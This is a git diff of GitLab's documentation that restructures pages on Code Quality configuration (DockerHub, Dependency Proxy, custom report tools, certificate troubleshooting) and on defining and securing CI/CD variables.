@@ The following images are needed for the [default `.codeclimate.yml`](https://git If you are using a custom `.codeclimate.yml` configuration file, you must add the specified plugins in your private container registry. -#### Configure Code Quality to use the Dependency Proxy +## Use DockerHub with authentication -Prerequisite: +You can use DockerHub as an alternate source of the Code Quality images. -- The project must be in a group where the [Dependency Proxy](../../user/packages/dependency_proxy/index.md) is enabled. +Prerequisites: -Here is an example of how to configure Code Quality to use the Dependency Proxy: +- Add the username and password as [protected CI/CD variables](../variables/index.md#for-a-project) + in the project. -```yaml -include: - - template: Jobs/Code-Quality.gitlab-ci.yml +To use DockerHub, configure the following variables in the `.gitlab-ci.yml` file: -code_quality: - variables: - CODE_QUALITY_IMAGE: "$CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX/codequality:0.85.24" - ## You must add a trailing slash to `$CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX`. - CODECLIMATE_PREFIX: $CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX/ - CODECLIMATE_REGISTRY_USERNAME: $CI_DEPENDENCY_PROXY_USER - CODECLIMATE_REGISTRY_PASSWORD: $CI_DEPENDENCY_PROXY_PASSWORD -``` +- `CODECLIMATE_PREFIX` +- `CODECLIMATE_REGISTRY_USERNAME` +- `CODECLIMATE_REGISTRY_PASSWORD` -#### Configure Code Quality to use Dockerhub with authentication - -Here is an example of how to configure Code Quality to use Dockerhub with authentication: +Example: ```yaml include: @@ -390,29 +408,43 @@ code_quality: CODECLIMATE_REGISTRY_PASSWORD: $DOCKERHUB_PASSWORD ``` -You should add the username and password as [protected CI/CD variables](../variables/index.md#add-a-cicd-variable-to-a-project) -in the project. +## Use the Dependency Proxy -## Configuring jobs using variables +You can use a Dependency Proxy to reduce the time taken to download dependencies. -The Code Quality job supports environment variables that users can set to -configure job execution at runtime. +Prerequisite: -For a list of available environment variables, see -[Environment variables](https://gitlab.com/gitlab-org/ci-cd/codequality#environment-variables). +- [Dependency Proxy](../../user/packages/dependency_proxy/index.md) enabled in the project's + group. -## Implementing a custom tool +To reference the Dependency Proxy, configure the following variables in the `.gitlab-ci.yml` file: -It's possible to have a custom tool provide Code Quality reports in GitLab. To -do this: +- `CODE_QUALITY_IMAGE` +- `CODECLIMATE_PREFIX` +- `CODECLIMATE_REGISTRY_USERNAME` +- `CODECLIMATE_REGISTRY_PASSWORD` -1. Define a job in your `.gitlab-ci.yml` file that generates the - [Code Quality report artifact](../yaml/artifacts_reports.md#artifactsreportscodequality). -1. Configure your tool to generate the Code Quality report artifact as a JSON - file that implements a subset of the [Code Climate spec](https://github.com/codeclimate/platform/blob/master/spec/analyzers/SPEC.md#data-types). +For example: + +```yaml +include: + - template: Code-Quality.gitlab-ci.yml + +code_quality: + variables: + CODE_QUALITY_IMAGE: "$CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX/codequality:0.85.24" + ## You must add a trailing slash to `$CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX`. + CODECLIMATE_PREFIX: $CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX/ + CODECLIMATE_REGISTRY_USERNAME: $CI_DEPENDENCY_PROXY_USER + CODECLIMATE_REGISTRY_PASSWORD: $CI_DEPENDENCY_PROXY_PASSWORD +``` + +## Implement a custom tool -The Code Quality report artifact JSON file must contain an array of objects -with the following properties: +You can integrate a custom tool into GitLab to provide Code Quality reports. + +The Code Quality report artifact JSON file must contain an array of objects with the following +properties: | Name | Description | | ---------------------- | ----------------------------------------------------------------------------------------- | @@ -422,6 +454,18 @@ with the following properties: | `location.path` | The relative path to the file containing the code quality violation. | | `location.lines.begin` or `location.positions.begin.line` | The line on which the code quality violation occurred. | +NOTE: +Although the Code Climate specification supports more properties, those are ignored by GitLab. +The GitLab parser does not allow a [byte order mark](https://en.wikipedia.org/wiki/Byte_order_mark) +at the beginning of the file. + +To implement a custom Code Quality tool: + +1. Define a job in your `.gitlab-ci.yml` file that generates the + [Code Quality report artifact](../yaml/artifacts_reports.md#artifactsreportscodequality). +1. Configure the tool to generate the Code Quality report artifact as a JSON + file that implements a subset of the [Code Climate spec](https://github.com/codeclimate/platform/blob/master/spec/analyzers/SPEC.md#data-types). + Example: ```json @@ -440,163 +484,33 @@ Example: ] ``` -NOTE: -Although the Code Climate spec supports more properties, those are ignored by -GitLab. -The GitLab parser does not allow a [byte order mark](https://en.wikipedia.org/wiki/Byte_order_mark) -at the beginning of the file. +## Using Analysis Plugins -## Code Quality reports **(PREMIUM)** +Code Quality functionality can be extended by using Code Climate +[Analysis Plugins](https://docs.codeclimate.com/docs/list-of-engines). -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/21527) in GitLab 12.9. - - +For example, to use the [SonarJava analyzer](https://docs.codeclimate.com/docs/sonar-java): -After the Code Quality job completes: +1. Add a file named `.codeclimate.yml` to the root of your repository +1. Add to the `.codeclimate.yml` the [enablement code](https://docs.codeclimate.com/docs/sonar-java#enable-the-plugin) + for the plugin to the root of your repository: -- Potential changes to code quality are shown directly in the merge request. - The Code Quality widget in the merge request compares the reports from the base and head of the branch, - then lists any violations that are resolved or created when the branch is merged. -- The full JSON report is available as a - [downloadable artifact](../pipelines/job_artifacts.md#download-job-artifacts) - for the `code_quality` job. -- The full list of code quality violations generated by a pipeline is shown in the - Code Quality tab of the Pipeline Details page. + ```yaml + version: "2" + plugins: + sonar-java: + enabled: true + ``` -## Generate an HTML report - -In [GitLab 13.6 and later](https://gitlab.com/gitlab-org/ci-cd/codequality/-/issues/10), -it is possible to generate an HTML report file by setting the `REPORT_FORMAT` -CI/CD variable to `html`. This is useful if you just want to view the report in a more -human-readable format or to publish this artifact on GitLab Pages for even -easier reviewing. - -To generate both JSON and HTML report files, add another job to your template by using `extends: code_quality`: - -```yaml -include: - - template: Code-Quality.gitlab-ci.yml - -code_quality_html: - extends: code_quality - variables: - REPORT_FORMAT: html - artifacts: - paths: [gl-code-quality-report.html] -``` - -NOTE: -Adding a job means your code is scanned twice: once to generate a JSON report and once to generate an HTML report. - -You can also generate _only_ an HTML report instead of the standard JSON report. To do so, set `REPORT_FORMAT` to `html` in the existing job: - -```yaml -include: - - template: Code-Quality.gitlab-ci.yml - -code_quality: - variables: - REPORT_FORMAT: html - artifacts: - paths: [gl-code-quality-report.html] -``` - -WARNING: -If you only generate an HTML report, you can't see your results in the [merge request widget](#code-quality-widget), [pipeline report](#code-quality-reports), or [diff view](#code-quality-in-diff-view). -These features require a JSON report. - -## Extending functionality - -### Using Analysis Plugins - -Should there be a need to extend the default functionality provided by Code Quality, as stated in [Code Quality](#code-quality), [Analysis Plugins](https://docs.codeclimate.com/docs/list-of-engines) are available. - -For example, to use the [SonarJava analyzer](https://docs.codeclimate.com/docs/sonar-java), -add a file named `.codeclimate.yml` containing the [enablement code](https://docs.codeclimate.com/docs/sonar-java#enable-the-plugin) -for the plugin to the root of your repository: - -```yaml -version: "2" -plugins: - sonar-java: - enabled: true -``` - -This adds SonarJava to the `plugins:` section of the [default `.codeclimate.yml`](https://gitlab.com/gitlab-org/ci-cd/codequality/-/blob/master/codeclimate_defaults/.codeclimate.yml.template) +This adds SonarJava to the `plugins:` section of the +[default `.codeclimate.yml`](https://gitlab.com/gitlab-org/ci-cd/codequality/-/blob/master/codeclimate_defaults/.codeclimate.yml.template) included in your project. -Changes to the `plugins:` section do not affect the `exclude_patterns` section of the -default `.codeclimate.yml`. See the Code Climate documentation for +Changes to the `plugins:` section do not affect the `exclude_patterns` section of the default +`.codeclimate.yml`. See the Code Climate documentation on [excluding files and folders](https://docs.codeclimate.com/docs/excluding-files-and-folders) for more details. -Here's [an example project](https://gitlab.com/jheimbuck_gl/jh_java_example_project) that uses Code Quality with a `.codeclimate.yml` file. - -## Use a Code Quality image hosted in a registry with untrusted certificates - -If you set the `CODE_QUALITY_IMAGE` to an image that is hosted in a -Docker registry which uses a TLS certificate that is not trusted, such as -a self-signed certificate, you can see errors like the one below: - -```shell -$ docker pull --quiet "$CODE_QUALITY_IMAGE" -Error response from daemon: Get https://gitlab.example.com/v2/: x509: certificate signed by unknown authority -``` - -To fix this, configure the Docker daemon to [trust certificates](https://docs.docker.com/registry/insecure/#use-self-signed-certificates) -by putting the certificate inside of the `/etc/docker/certs.d` -directory. - -This Docker daemon is exposed to the subsequent Code Quality Docker container in the -[GitLab Code Quality template](https://gitlab.com/gitlab-org/gitlab/-/blob/v13.8.3-ee/lib/gitlab/ci/templates/Jobs/Code-Quality.gitlab-ci.yml#L41) -and should be to exposed any other containers in which you want to have -your certificate configuration apply. - -### Docker - -If you have access to GitLab Runner configuration, add the directory as a -[volume mount](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#volumes-in-the-runnersdocker-section). For example: - -```toml -[[runners]] - ... - executor = "docker" - [runners.docker] - ... - privileged = true - volumes = ["/cache", "/etc/gitlab-runner/certs/gitlab.example.com.crt:/etc/docker/certs.d/gitlab.example.com/ca.crt:ro"] -``` - -Replace `gitlab.example.com` with the actual domain of the registry. - -### Kubernetes - -If you have access to GitLab Runner configuration and the Kubernetes cluster, -you can [mount a ConfigMap](https://docs.gitlab.com/runner/executors/kubernetes.html#configmap-volumes): - -1. Create a ConfigMap with the certificate: - - ```shell - kubectl create configmap registry-crt --namespace gitlab-runner --from-file /etc/gitlab-runner/certs/gitlab.example.com.crt - ``` - -1. Update GitLab Runner `config.toml` to specify the ConfigMap: - - ```toml - [[runners]] - ... - executor = "kubernetes" - [runners.kubernetes] - image = "alpine:3.12" - privileged = true - [[runners.kubernetes.volumes.config_map]] - name = "registry-crt" - mount_path = "/etc/docker/certs.d/gitlab.example.com/ca.crt" - sub_path = "gitlab.example.com.crt" - ``` - -Replace `gitlab.example.com` with the actual domain of the registry. - ## Troubleshooting ### Changing the default configuration has no effect @@ -611,28 +525,36 @@ is still used. This can be due to multiple reasons: -- You just added the Code Quality job in your `.gitlab-ci.yml`. The report does not - have anything to compare to yet, so no information can be displayed. It only displays - after future merge requests have something to compare to. -- Your pipeline is not set to run the code quality job on your target branch. If there is no report generated from the target branch, your MR branch reports have nothing to compare to. In this situation you will see an error stating `Base pipeline codequality artifact not found`. +- You just added the Code Quality job in your `.gitlab-ci.yml`. The report does not have anything to + compare to yet, so no information can be displayed. It only displays after future merge requests + have something to compare to. +- Your pipeline is not set to run the code quality job on your target branch. If there is no report + generated from the target branch, your merge request branch reports have nothing to compare to. In this + situation you get an error stating `Base pipeline codequality artifact not found`. - If no [degradation or error is detected](https://docs.codeclimate.com/docs/maintainability#section-checks), nothing is displayed. -- The [`artifacts:expire_in`](../yaml/index.md#artifactsexpire_in) CI/CD - setting can cause the Code Quality artifacts to expire faster than desired. -- The widgets use the pipeline of the latest commit to the target branch. If commits are made to the default branch that do not run the code quality job, this may cause the merge request widget to have no base report for comparison. -- If you use the [`REPORT_STDOUT` environment variable](https://gitlab.com/gitlab-org/ci-cd/codequality#environment-variables), no report file is generated and nothing displays in the merge request. +- The [`artifacts:expire_in`](../yaml/index.md#artifactsexpire_in) CI/CD setting can cause the Code + Quality artifacts to expire faster than desired. +- The widgets use the pipeline of the latest commit to the target branch. If commits are made to the + default branch that do not run the code quality job, this may cause the merge request widget to + have no base report for comparison. +- If you use the [`REPORT_STDOUT` environment variable](https://gitlab.com/gitlab-org/ci-cd/codequality#environment-variables), + no report file is generated and nothing displays in the merge request. - Large `gl-code-quality-report.json` files (esp. >10 MB) are [known to prevent the report from being displayed](https://gitlab.com/gitlab-org/gitlab/-/issues/2737). - As a work-around, try removing [properties](https://github.com/codeclimate/platform/blob/master/spec/analyzers/SPEC.md#data-types) - that are [ignored by GitLab](#implementing-a-custom-tool). You can: + As a workaround, try removing [properties](https://github.com/codeclimate/platform/blob/master/spec/analyzers/SPEC.md#data-types) + that are [ignored by GitLab](#implement-a-custom-tool). You can: - Configure the Code Quality tool to not output those types. - - Use `sed`, `awk` or similar commands in the `.gitlab-ci.yml` script to - edit the `gl-code-quality-report.json` before the job completes. + - Use `sed`, `awk` or similar commands in the `.gitlab-ci.yml` script to edit the + `gl-code-quality-report.json` before the job completes. ### Only a single Code Quality report is displayed, but more are defined -GitLab only uses the Code Quality artifact from the latest created job (with the largest job ID). +Starting [in GitLab 15.7](https://gitlab.com/gitlab-org/gitlab/-/issues/340525), Code Quality combines the results from all jobs in a pipeline. + +In previous versions, GitLab only uses the Code Quality artifact from the latest created job (with the largest job ID). If multiple jobs in a pipeline generate a code quality artifact, those of earlier jobs are ignored. -To avoid confusion, configure only one job to generate a `gl-code-quality-report.json`. + +To avoid confusion, configure only one job to generate a `gl-code-quality-report.json` file. ### RuboCop errors @@ -666,19 +588,21 @@ plugins: ### No Code Quality appears on merge requests when using custom tool -If your merge requests do not show any code quality changes when using a custom tool, -ensure that the line property is an `integer`. +If your merge requests do not show any Code Quality changes when using a custom tool, ensure that +the line property is an `integer`. -### Code Quality CI job with Code Climate plugins enabled fails with error +### Error: `Could not analyze code quality` -If you enabled any of the Code Climate plugins, and the Code Quality CI job fails with the error -below, it's likely the job takes longer than the default timeout of 900 seconds: +You might get the error: ```shell error: (CC::CLI::Analyze::EngineFailure) engine pmd ran for 900 seconds and was killed Could not analyze code quality for the repository at /code ``` +If you enabled any of the Code Climate plugins, and the Code Quality CI/CD job fails with this +error message, it's likely the job takes longer than the default timeout of 900 seconds: + To work around this problem, set `TIMEOUT_SECONDS` to a higher value in your `.gitlab.-ci.yml` file. For example: @@ -687,3 +611,79 @@ For example: variables: TIMEOUT_SECONDS: 3600 ``` + +### Using Code Quality with Kubernetes CI executor + +Code Quality requires a Docker in Docker setup to work. The Kubernetes executor already [has support for this](https://docs.gitlab.com/runner/executors/kubernetes.md#using-dockerdind). + +To ensure Code Quality jobs can run on a Kubernetes executor: + +- If you're using TLS to communicate with the Docker daemon, the executor [must be running in privileged mode](https://docs.gitlab.com/runner/executors/kubernetes.html#other-configtoml-settings). Additionally, the certificate directory must be [specified as a volume mount](../docker/using_docker_build.md#docker-in-docker-with-tls-enabled-in-kubernetes). +- It is possible that the DinD service doesn't start up fully before the Code Quality job starts. This is a limitation documented in +the [Kubernetes executor for GitLab Runner](https://docs.gitlab.com/runner/executors/kubernetes.html#docker-cannot-connect-to-the-docker-daemon-at-tcpdocker2375-is-the-docker-daemon-running) troubleshooting section. + +### Error: `x509: certificate signed by unknown authority` + +If you set the `CODE_QUALITY_IMAGE` to an image that is hosted in a Docker registry which uses a TLS +certificate that is not trusted, such as a self-signed certificate, you can see errors like the one +below: + +```shell +$ docker pull --quiet "$CODE_QUALITY_IMAGE" +Error response from daemon: Get https://gitlab.example.com/v2/: x509: certificate signed by unknown authority +``` + +To fix this, configure the Docker daemon to [trust certificates](https://docs.docker.com/registry/insecure/#use-self-signed-certificates) +by putting the certificate inside of the `/etc/docker/certs.d` directory. + +This Docker daemon is exposed to the subsequent Code Quality Docker container in the +[GitLab Code Quality template](https://gitlab.com/gitlab-org/gitlab/-/blob/v13.8.3-ee/lib/gitlab/ci/templates/Jobs/Code-Quality.gitlab-ci.yml#L41) +and should be to exposed any other containers in which you want to have your certificate +configuration apply. + +#### Docker + +If you have access to GitLab Runner configuration, add the directory as a +[volume mount](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#volumes-in-the-runnersdocker-section). + +Replace `gitlab.example.com` with the actual domain of the registry. + +Example: + +```toml +[[runners]] + ... + executor = "docker" + [runners.docker] + ... + privileged = true + volumes = ["/cache", "/etc/gitlab-runner/certs/gitlab.example.com.crt:/etc/docker/certs.d/gitlab.example.com/ca.crt:ro"] +``` + +#### Kubernetes + +If you have access to GitLab Runner configuration and the Kubernetes cluster, +you can [mount a ConfigMap](https://docs.gitlab.com/runner/executors/kubernetes.html#configmap-volumes). + +Replace `gitlab.example.com` with the actual domain of the registry. + +1. Create a ConfigMap with the certificate: + + ```shell + kubectl create configmap registry-crt --namespace gitlab-runner --from-file /etc/gitlab-runner/certs/gitlab.example.com.crt + ``` + +1. Update GitLab Runner `config.toml` to specify the ConfigMap: + + ```toml + [[runners]] + ... + executor = "kubernetes" + [runners.kubernetes] + image = "alpine:3.12" + privileged = true + [[runners.kubernetes.volumes.config_map]] + name = "registry-crt" + mount_path = "/etc/docker/certs.d/gitlab.example.com/ca.crt" + sub_path = "gitlab.example.com.crt" + ``` diff --git a/doc/ci/testing/img/code_quality_host_bound_sequential.png b/doc/ci/testing/img/code_quality_host_bound_sequential.png Binary files differdeleted file mode 100644 index 2b31f3b42ee..00000000000 --- a/doc/ci/testing/img/code_quality_host_bound_sequential.png +++ /dev/null diff --git a/doc/ci/triggers/index.md b/doc/ci/triggers/index.md index a667836fee4..16530ea20b6 100644 --- a/doc/ci/triggers/index.md +++ b/doc/ci/triggers/index.md @@ -125,7 +125,7 @@ Replace: If you trigger a pipeline by using a webhook, you can access the webhook payload with the `TRIGGER_PAYLOAD` [predefined CI/CD variable](../variables/predefined_variables.md). -The payload is exposed as a [file-type variable](../variables/index.md#cicd-variable-types), +The payload is exposed as a [file-type variable](../variables/index.md#use-file-type-cicd-variables), so you can access the data with `cat $TRIGGER_PAYLOAD` or a similar command. ### Pass CI/CD variables in the API call diff --git a/doc/ci/troubleshooting.md b/doc/ci/troubleshooting.md index 81e13192cef..6783ab1bfed 100644 --- a/doc/ci/troubleshooting.md +++ b/doc/ci/troubleshooting.md @@ -60,7 +60,7 @@ pipeline, and what their values are. A lot of pipeline configuration is dependen on variables, and verifying them is one of the fastest ways to find the source of a problem. -[Export the full list of variables](variables/index.md#list-all-environment-variables) +[Export the full list of variables](variables/index.md#list-all-variables) available in each problematic job. Check if the variables you expect are present, and check if their values are what you expect. @@ -249,7 +249,7 @@ The merge request status widget shows the **Merge** button and whether or not a request is ready to merge. If the merge request can't be merged, the reason for this is displayed. -If the pipeline is still running, the **Merge** button is replaced with the +If the pipeline is still running, **Merge** is replaced with the **Merge when pipeline succeeds** button. If [**Merge Trains**](pipelines/merge_trains.md) diff --git a/doc/ci/variables/img/ci_job_stage_output_example.png b/doc/ci/variables/img/ci_job_stage_output_example.png Binary files differdeleted file mode 100644 index 2344b19d9b3..00000000000 --- a/doc/ci/variables/img/ci_job_stage_output_example.png +++ /dev/null diff --git a/doc/ci/variables/img/custom_variables_output.png b/doc/ci/variables/img/custom_variables_output.png Binary files differdeleted file mode 100644 index 797e9ec07b9..00000000000 --- a/doc/ci/variables/img/custom_variables_output.png +++ /dev/null diff --git a/doc/ci/variables/img/inherited_group_variables_v12_5.png b/doc/ci/variables/img/inherited_group_variables_v12_5.png Binary files differdeleted file mode 100644 index cce024cfab8..00000000000 --- a/doc/ci/variables/img/inherited_group_variables_v12_5.png +++ /dev/null diff --git a/doc/ci/variables/index.md b/doc/ci/variables/index.md index 10dfa0174a0..5a1426b1356 100644 --- a/doc/ci/variables/index.md +++ b/doc/ci/variables/index.md @@ -13,21 +13,19 @@ CI/CD variables are a type of environment variable. You can use them to: - Store values you want to re-use. - Avoid hard-coding values in your `.gitlab-ci.yml` file. -You can use [predefined CI/CD variables](#predefined-cicd-variables) or define custom: +You can use: -- [Variables in the `.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file). -- [Project CI/CD variables](#add-a-cicd-variable-to-a-project). -- [Group CI/CD variables](#add-a-cicd-variable-to-a-group). -- [Instance CI/CD variables](#add-a-cicd-variable-to-an-instance). +- [Predefined CI/CD variables](#predefined-cicd-variables). +- [Variables defined in the `.gitlab-ci.yml` file](#define-a-cicd-variable-in-the-gitlab-ciyml-file). +- [Variables defined in project, group, or instance settings](#define-a-cicd-variable-in-the-ui). -NOTE: -Variables set in the GitLab UI are **not** passed down to [service containers](../docker/using_docker_images.md). -To set them, assign them to variables in the UI, then re-assign them in your `.gitlab-ci.yml`: +You can [override variable values manually for a specific pipeline](../jobs/index.md#specifying-variables-when-running-manual-jobs), +or have them [prefilled in manual pipelines](../pipelines/index.md#prefill-variables-in-manual-pipelines). -```yaml -variables: - SA_PASSWORD: $SA_PASSWORD -``` +Variable names are limited by the [shell the runner uses](https://docs.gitlab.com/runner/shells/index.html) +to execute scripts. Each shell has its own set of reserved variable names. + +Make sure each variable is defined for the [scope you want to use it in](where_variables_can_be_used.md). > For more information about advanced use of GitLab CI/CD: > @@ -38,53 +36,22 @@ variables: ## Predefined CI/CD variables -GitLab CI/CD has a [default set of predefined CI/CD variables](predefined_variables.md) -you can use in pipelines configuration and job scripts. - -### Use predefined CI/CD variables +GitLab CI/CD makes a set of [predefined CI/CD variables](predefined_variables.md) +available for use in pipeline configuration and job scripts. You can use predefined CI/CD variables +in your `.gitlab-ci.yml` without declaring them first. -You can use predefined CI/CD variables in your `.gitlab-ci.yml` without declaring them first. - -This example shows how to output a job's stage by using the `CI_JOB_STAGE` -predefined variable: +For example: ```yaml -test_variable: +job1: stage: test script: - echo "$CI_JOB_STAGE" ``` -The script outputs the `stage` for the `test_variable`, which is `test`: +The script in this example outputs the stage for the `job1` job, which is `test`. - - -## Custom CI/CD variables - -You can create custom CI/CD variables: - -- For a project: - - [In the project's `.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file). - - [In the project's settings](#add-a-cicd-variable-to-a-project). - - [With the API](../../api/project_level_variables.md). -- For all projects in a group [in the group's setting](#add-a-cicd-variable-to-a-group). -- For all projects in a GitLab instance [in the instance's settings](#add-a-cicd-variable-to-an-instance). - -You can [override variable values manually for a specific pipeline](../jobs/index.md#specifying-variables-when-running-manual-jobs), -or have them [prefilled in manual pipelines](../pipelines/index.md#prefill-variables-in-manual-pipelines). - -There are two types of variables: [`File` or `Variable`](#cicd-variable-types). - -Variable names are limited by the [shell the runner uses](https://docs.gitlab.com/runner/shells/index.html) -to execute scripts. Each shell has its own set of reserved variable names. - -Make sure each variable is defined for the [scope you want to use it in](where_variables_can_be_used.md). - -By default, pipelines from forked projects can't access CI/CD variables in the parent project. -If you [run a merge request pipeline in the parent project for a merge request from a fork](../pipelines/merge_request_pipelines.md#run-pipelines-in-the-parent-project), -all variables become available to the pipeline. - -### Create a custom CI/CD variable in the `.gitlab-ci.yml` file +## Define a CI/CD variable in the `.gitlab-ci.yml` file To create a custom variable in the [`.gitlab-ci.yml`](../yaml/index.md#variables) file, define the variable and value with `variables` keyword. @@ -125,33 +92,29 @@ Use the [`value` and `description`](../yaml/index.md#variablesdescription) keywords to define [variables that are prefilled](../pipelines/index.md#prefill-variables-in-manual-pipelines) for [manually-triggered pipelines](../pipelines/index.md#run-a-pipeline-manually). -### Use variables in other variables +## Define a CI/CD variable in the UI -You can use variables inside other variables: +You can define CI/CD variables in the UI: -```yaml -job: - variables: - FLAGS: '-al' - LS_CMD: 'ls "$FLAGS"' - script: - - 'eval "$LS_CMD"' # Executes 'ls -al' -``` +- For a project: + - [In the project's settings](#for-a-project). + - [With the API](../../api/project_level_variables.md). +- For all projects in a group [in the group's setting](#for-a-group). +- For all projects in a GitLab instance [in the instance's settings](#for-an-instance). -#### Use the `$` character in variables +By default, pipelines from forked projects can't access CI/CD variables in the parent project. +If you [run a merge request pipeline in the parent project for a merge request from a fork](../pipelines/merge_request_pipelines.md#run-pipelines-in-the-parent-project), +all variables become available to the pipeline. -If you do not want the `$` character interpreted as the start of a variable, use `$$` instead: +Variables set in the GitLab UI are **not** passed down to [service containers](../docker/using_docker_images.md). +To set them, assign them to variables in the UI, then re-assign them in your `.gitlab-ci.yml`: ```yaml -job: - variables: - FLAGS: '-al' - LS_CMD: 'ls "$FLAGS" $$TMP_DIR' - script: - - 'eval "$LS_CMD"' # Executes 'ls -al $TMP_DIR' +variables: + SA_PASSWORD: $SA_PASSWORD ``` -### Add a CI/CD variable to a project +### For a project > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/362227) in GitLab 15.7, projects can define a maximum of 200 CI/CD variables. @@ -167,40 +130,28 @@ To add or update variables in the project settings: - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`. - **Value**: No limitations. - - **Type**: [`File` or `Variable`](#cicd-variable-types). - - **Environment scope**: Optional. `All`, or specific [environments](../environments/index.md). + - **Type**: `Variable` (default) or [`File`](#use-file-type-cicd-variables). + - **Environment scope**: Optional. `All`, or specific [environments](../environments/index.md#limit-the-environment-scope-of-a-cicd-variable). - **Protect variable** Optional. If selected, the variable is only available in pipelines that run on [protected branches](../../user/project/protected_branches.md) or [protected tags](../../user/project/protected_tags.md). - **Mask variable** Optional. If selected, the variable's **Value** is masked in job logs. The variable fails to save if the value does not meet the [masking requirements](#mask-a-cicd-variable). -After you create a variable, you can use it in the `.gitlab-ci.yml` file: +After you create a variable, you can use it in the [`.gitlab-ci.yml` configuration](../yaml/index.md) +or in [job scripts](#use-cicd-variables-in-job-scripts). -```yaml -test_variable: - stage: test - script: - - echo "$CI_JOB_STAGE" # calls a predefined variable - - echo "$TEST" # calls a custom variable of type `env_var` - - echo "$GREETING" # calls a custom variable of type `file` that contains the path to the temp file - - cat "$GREETING" # the temp file itself contains the variable value -``` - -The output is: - - - -### Add a CI/CD variable to a group +### For a group > - Support for environment scopes [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/2874) in GitLab Premium 13.11 > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/362227) in GitLab 15.7, groups can define a maximum of 200 CI/CD variables. -To make a CI/CD variable available to all projects in a group, define a group CI/CD variable. Only group owners can add or update group-level CI/CD variables. +To make a CI/CD variable available to all projects in a group, define a group CI/CD variable. +You must be a group owner. Use group variables to store secrets like passwords, SSH keys, and credentials, if you: -- Do **not** use an external key store. +- Do not use an external key store. - Use the GitLab [integration with HashiCorp Vault](../secrets/index.md). To add a group variable: @@ -210,27 +161,19 @@ To add a group variable: - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`. - **Value**: No limitations. - - **Type**: [`File` or `Variable`](#cicd-variable-types). - - **Environment scope** Optional. `All`, or specific [environments](#limit-the-environment-scope-of-a-cicd-variable). **(PREMIUM)** + - **Type**: `Variable` (default) or [`File`](#use-file-type-cicd-variables). + - **Environment scope** Optional. `All`, or specific [environments](../environments/index.md#limit-the-environment-scope-of-a-cicd-variable). **(PREMIUM)** - **Protect variable** Optional. If selected, the variable is only available in pipelines that run on protected branches or tags. - **Mask variable** Optional. If selected, the variable's **Value** is masked in job logs. The variable fails to save if the value does not meet the [masking requirements](#mask-a-cicd-variable). -#### View all group-level variables available in a project - -To view all the group-level variables available in a project: - -1. In the project, go to **Settings > CI/CD**. -1. Expand the **Variables** section. +The group variables that are available in a project are listed in the project's +**Settings > CI/CD > Variables** section. Variables from [subgroups](../../user/group/subgroups/index.md) +are recursively inherited. -Variables from [subgroups](../../user/group/subgroups/index.md) are recursively -inherited. - - - -### Add a CI/CD variable to an instance **(FREE SELF)** +### For an instance **(FREE SELF)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14108) in GitLab 13.0. > - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/299879) in GitLab 13.11. @@ -248,90 +191,43 @@ To add an instance variable: - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`. - **Value**: In [GitLab 13.3 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/220028), - 10,000 characters is allowed. This is also bounded by the limits of the selected - runner operating system. In GitLab 13.0 to 13.2, 700 characters is allowed. - - **Type**: [`File` or `Variable`](#cicd-variable-types). + the value is limited to 10,000 characters, but also bounded by any limits in the + runner's operating system. In GitLab 13.0 to 13.2, the value is limited to 700 characters. + - **Type**: `Variable` (default) or [`File`](#use-file-type-cicd-variables). - **Protect variable** Optional. If selected, the variable is only available in pipelines that run on protected branches or tags. - **Mask variable** Optional. If selected, the variable's **Value** is not shown in job logs. The variable is not saved if the value does not meet the [masking requirements](#mask-a-cicd-variable). -### CI/CD variable types - -All predefined CI/CD variables and variables defined in the `.gitlab-ci.yml` file -are `Variable` type. Project, group and instance CI/CD variables can be `Variable` -or `File` type. - -`Variable` type variables: - -- Consist of a key and value pair. -- Are made available in jobs as environment variables, with: - - The CI/CD variable key as the environment variable name. - - The CI/CD variable value as the environment variable value. - -Use `File` type CI/CD variables for tools that need a file as input. - -`File` type variables: - -- Consist of a key, value and file. -- Are made available in jobs as environment variables, with - - The CI/CD variable key as the environment variable name. - - The CI/CD variable value saved to a temporary file. - - The path to the temporary file as the environment variable value. - -Some tools like [the AWS CLI](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-envvars.html) -and [`kubectl`](https://kubernetes.io/docs/concepts/configuration/organize-cluster-access-kubeconfig/#the-kubeconfig-environment-variable) -use `File` type variables for configuration. - -For example, if you have the following variables: - -- A variable of type `Variable`: `KUBE_URL` with the value `https://example.com`. -- A variable of type `File`: `KUBE_CA_PEM` with a certificate as the value. +The instance variables that are available in a project are listed in the project's +**Settings > CI/CD > Variables** section. -Use the variables in a job script like this: - -```shell -kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$KUBE_CA_PEM" -``` +## CI/CD variable security -WARNING: -Be careful when assigning the value of a file variable to another variable. The other -variable takes the content of the file as its value, **not** the path to the file. -See [issue 29407](https://gitlab.com/gitlab-org/gitlab/-/issues/29407) for more details. - -An alternative to `File` type variables is to: - -- Read the value of a CI/CD variable (`variable` type). -- Save the value in a file. -- Use that file in your script. +Malicious code pushed to your `.gitlab-ci.yml` file could compromise your variables +and send them to a third party server regardless of the masked setting. If the pipeline +runs on a [protected branch](../../user/project/protected_branches.md) or +[protected tag](../../user/project/protected_tags.md), malicious code can compromise protected variables. -```shell -# Read certificate stored in $KUBE_CA_PEM variable and save it in a new file -cat "$KUBE_CA_PEM" > "$(pwd)/kube.ca.pem" -# Pass the newly created file to kubectl -kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$(pwd)/kube.ca.pem" 